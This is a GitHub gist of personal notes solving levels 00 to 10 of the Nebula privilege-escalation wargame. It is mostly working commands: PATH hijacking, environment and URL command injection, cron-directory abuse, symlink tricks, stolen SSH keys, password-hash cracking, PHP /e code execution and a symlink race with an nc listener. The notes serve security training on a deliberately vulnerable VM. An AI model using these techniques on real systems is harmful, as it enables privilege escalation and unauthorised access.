Skip to content

Instantly share code, notes, and snippets.

@markclayton
Last active October 26, 2017 12:10
Show Gist options
  • Save markclayton/5fa90dbb5cde304f22ad28c8d667d896 to your computer and use it in GitHub Desktop.
Save markclayton/5fa90dbb5cde304f22ad28c8d667d896 to your computer and use it in GitHub Desktop.
Solutions to Nebula from exploit-exercises.com. Not really meant to be a tutorial, mostly just notes for myself so excuse grammar errors if anyone is reading :)

Level00

Looking for a SUID program that runs as the flag00 account.

cd /rofs
find . -perm -4000 -user flag00 2> /dev/null
./bin/.../flag00

Level01

PATH Manipulation

The given script in /home/flag01 calls echo with SUID/GUID permissions, but is vulnerable to PATH manipulation because the first path to echo can be controlled by an attacker. Place a script in /tmp, adjust $PATH to point to /tmp before anything else.

vim /tmp/echo 

$/bin/bash 
/bin/bash

<end file> 

chmod +x /tmp/echo 
PATH=/tmp:$PATH
export $PATH 
./flag01

# get shell 

$flag01@nebula:/home/flag01 getflag
You have successfully executed getflag on a target account

Level02

The script has a getenv("USER") and uses the value as apart of a system() call with SUID/GUID permissions. $USER is attacker controlled so let's exploit it.

USER="exploit && /bin/bash && echo"
export USEr
cd /home/flag02 && ./flag02
getflag

# get shell

You have successfully executed getflag on a target account

Level03

There is a cron job that runs whatever executable script is in writable.d every 5 mins or so, then deletes it. However, the script is run with flag03 permissions. You have to create a script to call getflag, copy it into writable.d and wait.

#create script
vim getflag.sh 
#!/bin/bash 

/bin/getflag >> /tmp/flag01.out 

<end file>

# +x script and put in writable.d
chmod +x getflag.sh 
cp /tmp/getflag.sh /home/flag03/writable.d/

...wait for execution

cat /tmp/flag01.out
You have successfully executed getflag on a target account

Level04

The important part of the script is the idea that you don't have direct access to token. ./flag04 token returns You may not access 'token'. The script just has a check for the name itself. Solution is to simply put a symlink back to token (i.e. Token -> token) and call Token. However, you can write to /home/flag04 so just put the symlink in /home/level04./ Super easy :)

cd ~
ln -s /home/flag04/token Token 
/home/flag04/flag04 Token

06508b5e-8909-4f38-b630-fdb148a848a2

Level05

This one was a bit difficult for me, or at least it took me a bit long than the others. In /home/flag05 there is a .ssh folder, but also a .backup folder that is abnormal one. Checking it out reveals a .tar called backup-19072011.tgz. Let's copy it out and extract it.

cp ./backup/back*.tgz # <- * is a wildcard expansion
tar -xvf backup-19072011.tgz
level05@nebula:~$ tar -xvf backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

As you can see, as a result of extacting the .tgz the .ssh keys relating to flag04 now belong to me. Let's ssh as flag04 and get key.

level05@nebula:~$ ls -la .ssh
total 12
drwxr-xr-x 1 level05 level05  100 2011-07-19 02:37 .
drwxr-x--- 1 level05 level05   80 2017-10-04 06:44 ..
-rw-r--r-- 1 level05 level05  394 2011-07-19 02:37 authorized_keys
-rw------- 1 level05 level05 1675 2011-07-19 02:37 id_rsa
-rw-r--r-- 1 level05 level05  394 2011-07-19 02:37 id_rsa.pub

level05@nebula:~$ ssh flag05@localhost
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
flag05@nebula:~$

Level06

The flag06 creds came from a legacy unix system. First thing is check /etc/passwd and sure enough the hash for flag06 is sitting there.

...snippet...

flag05:x:994:994::/home/flag05:/bin/sh
level06:x:1007:1007::/home/level06:/bin/sh
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

...snippet...

I installed john on VM as nebula for the sake of time but generally you can copy the hash out to a different box. Anyway, long story short crack hash with John and you are good to go!

level06@nebula:~$ john /etc/passwd
Created directory: /home/level06/.john
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello            (flag06)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 75300  trying: 12345 - biteme
Use the "--show" option to display all of the cracked passwords reliably
level06@nebula:~$ su flag06
Password: <- type 'hello'
sh-4.2$ getflag
You have successfully executed getflag on a target account

Level07

Perl script allows them to ping host...the issue is

@output = `ping -c 3 $host 2>&1`;

The script is executing ping on system and trusting the $host value which is attacker controlled. Next, looking at the thttp.conf file it shows that there is a web server running on port 7007, that's probably where we inject the $host param. Visiting http://192.168.1.97:7007/index.cgi?Host= shows where you can inject the param. So you now have to complete inject input into ping -c 3 <inject here> 2>&1. Let's try it ping -c -3 ;getflag

http://192.168.1.97:7007/index.cgi?Host=%3Bgetflag

You have successfully executed getflag on a target account

Level08

There is a capture.pcap file in /home/flag08, copy to host file and open in wireshark.

sftp level08@nebula 
get /home/flag08/capture.pcap
wireshark capture.pcap

# inspect TCP stream 

..%..%..&..... ..#..'..$..&..... ..#..'..$.. .....#.....'........... .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm.........."........!........"..".....b........b.....B.
..............................1.......!.."......"......!..........."........".."................
.....................
Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10)

..wwwbugs login: l.le.ev.ve.el.l8.8
..
Password: backdoor...00Rm8.ate
.
..
Login incorrect
wwwbugs login: 

At first glance it looks like the password is actually backdoor...00Rm8.ate, but apparently it doesn't work....hmm. At the same time, the username looks a bit odd as well given the username is unlikely to be l.le.ev.ve.el.l8.8. After time time, viewing it in hex dump and inspecting the password shows that the . represents %7F which is actually [DEL]. Acting like the user is pressing the backspace button, the actually passphrase is backd00Rmate.

Use this passphrase to ssh in and your good.

flag08@nebula:~$ getflag
You have successfully executed getflag on a target account

Level09

The one is a bit complicated. Given I don't know much about PHP it took me alot longer. Turns out that the preg_replace function in markup() uses a PCRE modification flag known as /e in the first param (the first string). /e means it will evaluate the given input as PHP code and use the result as the search string. That is out ticket in.

Create a text file /tmp/exploit for $argv[1], and the $argv[2] can be ignored. Overall command execution should go like $./flag09 /tmp/exploit garbage. It should be noted that /e only gets run if pre_replace() finds a string that matches [email .*] so an example would be [email test@test.com]. As a result, flag09 will interpret test@test.com as PHP code before being passed to the spam() function. Command execution spotted :)

level09@nebula:/home/flag09$ echo '[email system(sh)]' > /tmp/hack
level09@nebula:/home/flag09$ ./flag09 /tmp/hack teset
system(sh)

Okay so that doesn't work, it just spits my command back. Later on I got the idea to turn the input into a variable.

level09@nebula:/home/flag09$ echo '[email $system(sh)]' > /tmp/hack
level09@nebula:/home/flag09$ ./flag09 /tmp/hack teset
PHP Notice:  Undefined variable: system in /home/flag09/flag09.php(15) : regexp code on line 1
(sh)

Now we are getting somewhere. However, how do we get our code to actually execute. Unfortunately, this is where I had to look up a solution. After scouring the web, there isn't really a mention of bypassing whatever PCRE filter is needed. According to several Nebula solutions, you have to do the following.

level09@nebula:/home/flag09$ echo '[email {${system(sh)}}]' > /tmp/hack
level09@nebula:/home/flag09$ ./flag09 /tmp/hack teset
PHP Notice:  Use of undefined constant sh - assumed 'sh' in /home/flag09/flag09.php(15) : regexp code on line 1
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

Notice {${system(sh)}} is the proper formatting...but why. I would have never gotten around to this on my own, but apparently this syntax is using PHP's Complex (curly) syntax. According to the documentation, **Any scalar variable, array element or object property with a string representation can be included via this syntax. Simply write the expression the same way as it would appear outside the string, and then wrap it in { and }. Since { can not be escaped, this syntax will only be recognized when the $ immediately follows the {. Still, how do they know to use that syntax in the first place given there are no indications of it in the code? Anyway, I'm going to move on and save that for some late night googling. I still have much to learn :)

###Level10

This one was pretty difficult. The vulnerability is a TOCTOU race condition vulnerability when checking for access() to the code. If you look back at the code you can see that the if access() call occurs, then afterwards it proceeds to open a socket and send the file over the wire. Of course you have to work with symlinks given it's trying to access the token, but it's all about being faster than the code.

Keep an open nc session running to capture file input and send output to file out:

level10@nebula:~$ while true; do nc -lnp 18211 >> out; done  &

While this is up, create your fake file to switch with the real token in the next step. Give it some text to indicate that this is the fake file.

echo "this is the wrong token" > /tmp/faketoken

Now you need to keep switching symlinks between faketoken and /home/flag10/token, potentially causing the code to accidentally read symlink token -> /home/flag10/token instead of token -> /tmp/faketoken.

level10@nebula:~$ while true; do ln -fs /tmp/faketoken token; ln -fs /home/flag10/token token; done &

While this is switching symlinks, let's constanctly call executable flag10 and see if we can trip up the program :)

level10@nebula:~$ while true; do /home/flag10/flag10 /home/level10/token 127.0.0.1; done 

Now we wait just for a bit, and check the output of our out file that we created earlier.

level10@nebula:~$ grep -v 'this is the wrong token' out
...
...
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.

Crazy! We have our access key, now we need access to the token. The access key has to be the password given the token is protected by simple user permissions.

level10@nebula:~$ su flag10
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

Side note: I need to do some more reading on race conditions as this is definitely out of my comfort zone.

Level11

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment